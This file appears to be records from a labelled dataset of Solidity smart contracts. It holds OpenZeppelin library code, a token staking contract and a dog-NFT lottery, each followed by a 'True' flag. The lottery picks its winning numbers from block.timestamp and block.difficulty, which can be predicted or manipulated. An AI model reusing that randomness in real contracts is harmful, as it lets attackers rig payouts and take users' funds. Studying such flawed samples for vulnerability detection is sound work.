* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/IRewardDistributionRecipient.sol
pragma solidity ^0.5.0;
contract IRewardDistributionRecipient is Ownable {
address rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
// File: contracts/CurveRewards.sol
pragma solidity ^0.5.0;
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Token to be staked
IERC20 public bpt = IERC20(address(0));
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
bpt.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
bpt.safeTransfer(msg.sender, amount);
}
function setBPT(address BPTAddress) internal {
bpt = IERC20(BPTAddress);
}
}
contract SilkyFinanceStaking2 is LPTokenWrapper, IRewardDistributionRecipient {
// Token to be rewarded
IERC20 public yfi = IERC20(address(0));
uint256 public constant DURATION = 200 days;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function setYFI(address YFIAddress,address BPTAddress) external onlyRewardDistribution {
setBPT(BPTAddress);
yfi = IERC20(YFIAddress);
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
yfi.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
}
|
True
|
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] |
pragma solidity ^0.4.18;
contract DogCoreInterface {
address public ceoAddress;
address public cfoAddress;
function getDog(uint256 _id)
external
view
returns (
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes,
uint8 variation,
uint256 gen0
);
function ownerOf(uint256 _tokenId) external view returns (address);
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function sendMoney(address _to, uint256 _money) external;
function totalSupply() external view returns (uint);
function getOwner(uint256 _tokenId) public view returns(address);
function getAvailableBlance() external view returns(uint256);
}
contract LotteryBase {
uint8 public currentGene;
uint256 public lastBlockNumber;
uint256 randomSeed = 1;
struct CLottery {
uint8[7] luckyGenes;
uint256 totalAmount;
uint256 openBlock;
bool isReward;
bool noFirstReward;
}
CLottery[] public CLotteries;
address public finalLottery;
uint256 public SpoolAmount = 0;
DogCoreInterface public dogCore;
event OpenLottery(uint8 currentGene, uint8 luckyGenes, uint256 currentTerm, uint256 blockNumber, uint256 totalAmount);
event OpenCarousel(uint256 luckyGenes, uint256 currentTerm, uint256 blockNumber, uint256 totalAmount);
modifier onlyCEO() {
require(msg.sender == dogCore.ceoAddress());
_;
}
modifier onlyCFO() {
require(msg.sender == dogCore.cfoAddress());
_;
}
function toLotteryPool(uint amount) public onlyCFO {
require(SpoolAmount >= amount);
SpoolAmount -= amount;
}
function _isCarousal(uint256 currentTerm) external view returns(bool) {
return (currentTerm > 1 && CLotteries[currentTerm - 2].noFirstReward && CLotteries[currentTerm - 1].noFirstReward);
}
function getCurrentTerm() external view returns (uint256) {
return (CLotteries.length - 1);
}
}
contract LotteryGenes is LotteryBase {
function convertGeneArray(uint256 gene) public pure returns(uint8[7]) {
uint8[28] memory geneArray;
uint8[7] memory lotteryArray;
uint index = 0;
for (index = 0; index < 28; index++) {
uint256 geneItem = gene % (2 ** (5 * (index + 1)));
geneItem /= (2 ** (5 * index));
geneArray[index] = uint8(geneItem);
}
for (index = 0; index < 7; index++) {
uint size = 4 * index;
lotteryArray[index] = geneArray[size];
}
return lotteryArray;
}
function convertGene(uint8[7] luckyGenes) public pure returns(uint256) {
uint8[28] memory geneArray;
for (uint8 i = 0; i < 28; i++) {
if (i%4 == 0) {
geneArray[i] = luckyGenes[i/4];
} else {
geneArray[i] = 6;
}
}
uint256 gene = uint256(geneArray[0]);
for (uint8 index = 1; index < 28; index++) {
uint256 geneItem = uint256(geneArray[index]);
gene += geneItem << (index * 5);
}
return gene;
}
}
contract SetLottery is LotteryGenes {
function random(uint8 seed) internal returns(uint8) {
randomSeed = block.timestamp;
return uint8(uint256(keccak256(randomSeed, block.difficulty))%seed)+1;
}
function openLottery(uint8 _viewId) public returns(uint8,uint8) {
uint8 viewId = _viewId;
require(viewId < 7);
uint256 currentTerm = CLotteries.length - 1;
CLottery storage clottery = CLotteries[currentTerm];
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == false) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, clottery.openBlock, clottery.totalAmount);
return (clottery.luckyGenes[viewId],1);
}
if (lastBlockNumber == block.number) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, clottery.openBlock, clottery.totalAmount);
return (clottery.luckyGenes[viewId],2);
}
if (currentGene == 0 && clottery.isReward == true) {
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
currentTerm = CLotteries.push(_clottery) - 1;
}
if (this._isCarousal(currentTerm)) {
revert();
}
uint8 luckyNum = 0;
uint256 bonusBalance = dogCore.getAvailableBlance();
if (currentGene == 6) {
if (bonusBalance <= SpoolAmount) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, 0, 0);
return (clottery.luckyGenes[viewId],3);
}
luckyNum = random(8);
CLotteries[currentTerm].luckyGenes[currentGene] = luckyNum;
OpenLottery(currentGene, luckyNum, currentTerm, block.number, bonusBalance);
currentGene = 0;
CLotteries[currentTerm].openBlock = block.number;
CLotteries[currentTerm].totalAmount = bonusBalance;
lastBlockNumber = block.number;
} else {
luckyNum = random(12);
CLotteries[currentTerm].luckyGenes[currentGene] = luckyNum;
OpenLottery(currentGene, luckyNum, currentTerm, 0, 0);
currentGene ++;
lastBlockNumber = block.number;
}
return (luckyNum,0);
}
function random2() internal view returns (uint256) {
return uint256(uint256(keccak256(block.timestamp, block.difficulty))%uint256(dogCore.totalSupply()) + 1);
}
function openCarousel() public {
uint256 currentTerm = CLotteries.length - 1;
CLottery storage clottery = CLotteries[currentTerm];
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == false) {
OpenCarousel(convertGene(clottery.luckyGenes), currentTerm, clottery.openBlock, clottery.totalAmount);
}
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == true) {
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
currentTerm = CLotteries.push(_clottery) - 1;
}
uint256 bonusBlance = dogCore.getAvailableBlance();
require (this._isCarousal(currentTerm));
uint256 genes = _getValidRandomGenes();
require (genes > 0);
uint8[7] memory luckyGenes = convertGeneArray(genes);
OpenCarousel(genes, currentTerm, block.number, bonusBlance);
CLotteries[currentTerm].luckyGenes = luckyGenes;
CLotteries[currentTerm].openBlock = block.number;
CLotteries[currentTerm].totalAmount = bonusBlance;
}
function _getValidRandomGenes() internal view returns (uint256) {
uint256 luckyDog = random2();
uint256 genes = _validGenes(luckyDog);
uint256 totalSupply = dogCore.totalSupply();
if (genes > 0) {
return genes;
}
uint256 min = (luckyDog < totalSupply-luckyDog) ? (luckyDog - 1) : totalSupply-luckyDog;
for (uint256 i = 1; i < min + 1; i++) {
genes = _validGenes(luckyDog - i);
if (genes > 0) {
break;
}
genes = _validGenes(luckyDog + i);
if (genes > 0) {
break;
}
}
if (genes == 0) {
if (min == luckyDog - 1) {
for (i = min + luckyDog; i < totalSupply + 1; i++) {
genes = _validGenes(i);
if (genes > 0) {
break;
}
}
}
if (min == totalSupply - luckyDog) {
for (i = min; i < luckyDog; i++) {
genes = _validGenes(luckyDog - i - 1);
if (genes > 0) {
break;
}
}
}
}
return genes;
}
function _validGenes(uint256 dogId) internal view returns (uint256) {
var(, , , , , ,generation, genes, variation,) = dogCore.getDog(dogId);
if (generation == 0 || dogCore.ownerOf(dogId) == finalLottery || variation > 0) {
return 0;
} else {
return genes;
}
}
}
contract LotteryCore is SetLottery {
function LotteryCore(address _ktAddress) public {
dogCore = DogCoreInterface(_ktAddress);
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
CLotteries.push(_clottery);
}
function setFinalLotteryAddress(address _flAddress) public onlyCEO {
finalLottery = _flAddress;
}
function getCLottery()
public
view
returns (
uint8[7] luckyGenes,
uint256 totalAmount,
uint256 openBlock,
bool isReward,
uint256 term
) {
term = CLotteries.length - uint256(1);
luckyGenes = CLotteries[term].luckyGenes;
totalAmount = CLotteries[term].totalAmount;
openBlock = CLotteries[term].openBlock;
isReward = CLotteries[term].isReward;
}
function rewardLottery(bool isMore) external {
require(msg.sender == finalLottery);
uint256 term = CLotteries.length - 1;
CLotteries[term].isReward = true;
CLotteries[term].noFirstReward = isMore;
}
function toSPool(uint amount) external {
require(msg.sender == finalLottery);
SpoolAmount += amount;
}
}
contract FinalLottery {
bool public isLottery = true;
LotteryCore public lotteryCore;
DogCoreInterface public dogCore;
uint8[7] public luckyGenes;
uint256 totalAmount;
uint256 openBlock;
bool isReward;
uint256 currentTerm;
uint256 public duration;
uint8 public lotteryRatio;
uint8[7] public lotteryParam;
uint8 public carousalRatio;
uint8[7] public carousalParam;
struct FLottery {
address[] owners0;
uint256[] dogs0;
address[] owners1;
uint256[] dogs1;
address[] owners2;
uint256[] dogs2;
address[] owners3;
uint256[] dogs3;
address[] owners4;
uint256[] dogs4;
address[] owners5;
uint256[] dogs5;
address[] owners6;
uint256[] dogs6;
uint256[] reward;
}
mapping(uint256 => FLottery) flotteries;
function FinalLottery(address _lcAddress) public {
lotteryCore = LotteryCore(_lcAddress);
dogCore = DogCoreInterface(lotteryCore.dogCore());
duration = 11520;
lotteryRatio = 23;
lotteryParam = [46,16,10,9,8,6,5];
carousalRatio = 12;
carousalParam = [35,18,14,12,8,7,6];
}
event DistributeLottery(uint256[] rewardArray, uint256 currentTerm);
event RegisterLottery(uint256 dogId, address owner, uint8 lotteryClass, string result);
function setLotteryDuration(uint256 durationBlocks) public {
require(msg.sender == dogCore.ceoAddress());
require(durationBlocks > 140);
require(durationBlocks < block.number);
duration = durationBlocks;
}
function registerLottery(uint256 dogId) public returns (uint8) {
uint256 _dogId = dogId;
(luckyGenes, totalAmount, openBlock, isReward, currentTerm) = lotteryCore.getCLottery();
address owner = dogCore.ownerOf(_dogId);
require (owner != address(this));
require(address(dogCore) == msg.sender);
require(totalAmount > 0 && isReward == false && openBlock > (block.number-duration));
var(, , , birthTime, , ,generation,genes, variation,) = dogCore.getDog(_dogId);
require(birthTime < openBlock);
require(generation > 0);
require(variation == 0);
uint8 _lotteryClass = getLotteryClass(luckyGenes, genes);
require(_lotteryClass < 7);
address[] memory owners;
uint256[] memory dogs;
(dogs, owners) = _getLuckyList(currentTerm, _lotteryClass);
for (uint i = 0; i < dogs.length; i++) {
if (_dogId == dogs[i]) {
RegisterLottery(_dogId, owner, _lotteryClass,"dog already registered");
return 5;
}
}
_pushLuckyInfo(currentTerm, _lotteryClass, owner, _dogId);
RegisterLottery(_dogId, owner, _lotteryClass,"successful");
return 0;
}
function distributeLottery() public returns (uint8) {
(luckyGenes, totalAmount, openBlock, isReward, currentTerm) = lotteryCore.getCLottery();
require(openBlock > 0 && openBlock < (block.number-duration));
require(totalAmount >= lotteryCore.SpoolAmount());
if (isReward == true) {
DistributeLottery(flotteries[currentTerm].reward, currentTerm);
return 1;
}
uint256 legalAmount = totalAmount - lotteryCore.SpoolAmount();
uint256 totalDistribute = 0;
uint8[7] memory lR;
uint8 ratio;
if (lotteryCore._isCarousal(currentTerm) ) {
lR = carousalParam;
ratio = carousalRatio;
} else {
lR = lotteryParam;
ratio = lotteryRatio;
}
for (uint8 i = 0; i < 7; i++) {
address[] memory owners;
uint256[] memory dogs;
(dogs, owners) = _getLuckyList(currentTerm, i);
if (owners.length > 0) {
uint256 reward = (legalAmount * ratio * lR[i])/(10000 * owners.length);
totalDistribute += reward * owners.length;
dogCore.sendMoney(dogCore.cfoAddress(),reward * owners.length/10);
for (uint j = 0; j < owners.length; j++) {
address gen0Add;
if (i == 0) {
dogCore.sendMoney(owners[j],reward*95*9/1000);
gen0Add = _getGen0Address(dogs[j]);
if(gen0Add != address(0)){
dogCore.sendMoney(gen0Add,reward*5/100);
}
} else if (i == 1) {
dogCore.sendMoney(owners[j],reward*97*9/1000);
gen0Add = _getGen0Address(dogs[j]);
if(gen0Add != address(0)){
dogCore.sendMoney(gen0Add,reward*3/100);
}
} else if (i == 2) {
dogCore.sendMoney(owners[j],reward*98*9/1000);
gen0Add = _getGen0Address(dogs[j]);
if(gen0Add != address(0)){
dogCore.sendMoney(gen0Add,reward*2/100);
}
} else {
dogCore.sendMoney(owners[j],reward*9/10);
}
}
flotteries[currentTerm].reward.push(reward);
} else {
flotteries[currentTerm].reward.push(0);
}
}
if (flotteries[currentTerm].owners0.length == 0) {
lotteryCore.toSPool((dogCore.getAvailableBlance() - lotteryCore.SpoolAmount())/20);
lotteryCore.rewardLottery(true);
} else {
lotteryCore.rewardLottery(false);
}
DistributeLottery(flotteries[currentTerm].reward, currentTerm);
return 0;
}
function _getGen0Address(uint256 dogId) internal view returns(address) {
var(, , , , , , , , , gen0) = dogCore.getDog(dogId);
return dogCore.getOwner(gen0);
}
function _getLuckyList(uint256 currentTerm1, uint8 lotclass) public view returns (uint256[] kts, address[] ons) {
if (lotclass==0) {
ons = flotteries[currentTerm1].owners0;
kts = flotteries[currentTerm1].dogs0;
} else if (lotclass==1) {
ons = flotteries[currentTerm1].owners1;
kts = flotteries[currentTerm1].dogs1;
} else if (lotclass==2) {
ons = flotteries[currentTerm1].owners2;
kts = flotteries[currentTerm1].dogs2;
} else if (lotclass==3) {
ons = flotteries[currentTerm1].owners3;
kts = flotteries[currentTerm1].dogs3;
} else if (lotclass==4) {
ons = flotteries[currentTerm1].owners4;
kts = flotteries[currentTerm1].dogs4;
} else if (lotclass==5) {
ons = flotteries[currentTerm1].owners5;
kts = flotteries[currentTerm1].dogs5;
} else if (lotclass==6) {
ons = flotteries[currentTerm1].owners6;
kts = flotteries[currentTerm1].dogs6;
}
}
function _pushLuckyInfo(uint256 currentTerm1, uint8 _lotteryClass, address owner, uint256 _dogId) internal {
if (_lotteryClass == 0) {
flotteries[currentTerm1].owners0.push(owner);
flotteries[currentTerm1].dogs0.push(_dogId);
} else if (_lotteryClass == 1) {
flotteries[currentTerm1].owners1.push(owner);
flotteries[currentTerm1].dogs1.push(_dogId);
} else if (_lotteryClass == 2) {
flotteries[currentTerm1].owners2.push(owner);
flotteries[currentTerm1].dogs2.push(_dogId);
} else if (_lotteryClass == 3) {
flotteries[currentTerm1].owners3.push(owner);
flotteries[currentTerm1].dogs3.push(_dogId);
} else if (_lotteryClass == 4) {
flotteries[currentTerm1].owners4.push(owner);
flotteries[currentTerm1].dogs4.push(_dogId);
} else if (_lotteryClass == 5) {
flotteries[currentTerm1].owners5.push(owner);
flotteries[currentTerm1].dogs5.push(_dogId);
} else if (_lotteryClass == 6) {
flotteries[currentTerm1].owners6.push(owner);
flotteries[currentTerm1].dogs6.push(_dogId);
}
}
function getLotteryClass(uint8[7] luckyGenesArray, uint256 genes) internal view returns(uint8) {
if (currentTerm < 0) {
return 100;
}
uint8[7] memory dogArray = lotteryCore.convertGeneArray(genes);
uint8 cnt = 0;
uint8 lnt = 0;
for (uint i = 0; i < 6; i++) {
if (luckyGenesArray[i] > 0 && luckyGenesArray[i] == dogArray[i]) {
cnt++;
}
}
if (luckyGenesArray[6] > 0 && luckyGenesArray[6] == dogArray[6]) {
lnt = 1;
}
uint8 lotclass = 100;
if (cnt==6 && lnt==1) {
lotclass = 0;
} else if (cnt==6 && lnt==0) {
lotclass = 1;
} else if (cnt==5 && lnt==1) {
lotclass = 2;
} else if (cnt==5 && lnt==0) {
lotclass = 3;
} else if (cnt==4 && lnt==1) {
lotclass = 4;
} else if (cnt==3 && lnt==1) {
lotclass = 5;
} else if (cnt==3 && lnt==0) {
lotclass = 6;
} else {
lotclass = 100;
}
return lotclass;
}
function checkLottery(uint256 genes) public view returns(uint8) {
var(luckyGenesArray, , , isReward1, ) = lotteryCore.getCLottery();
if (isReward1) {
return 100;
}
return getLotteryClass(luckyGenesArray, genes);
}
function getCLottery()
public
view
returns (
uint8[7] luckyGenes1,
uint256 totalAmount1,
uint256 openBlock1,
bool isReward1,
uint256 term1,
uint8 currentGenes1,
uint256 tSupply,
uint256 sPoolAmount1,
uint256[] reward1
) {
(luckyGenes1, totalAmount1, openBlock1, isReward1, term1) = lotteryCore.getCLottery();
currentGenes1 = lotteryCore.currentGene();
tSupply = dogCore.totalSupply();
sPoolAmount1 = lotteryCore.SpoolAmount();
reward1 = flotteries[term1].reward;
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
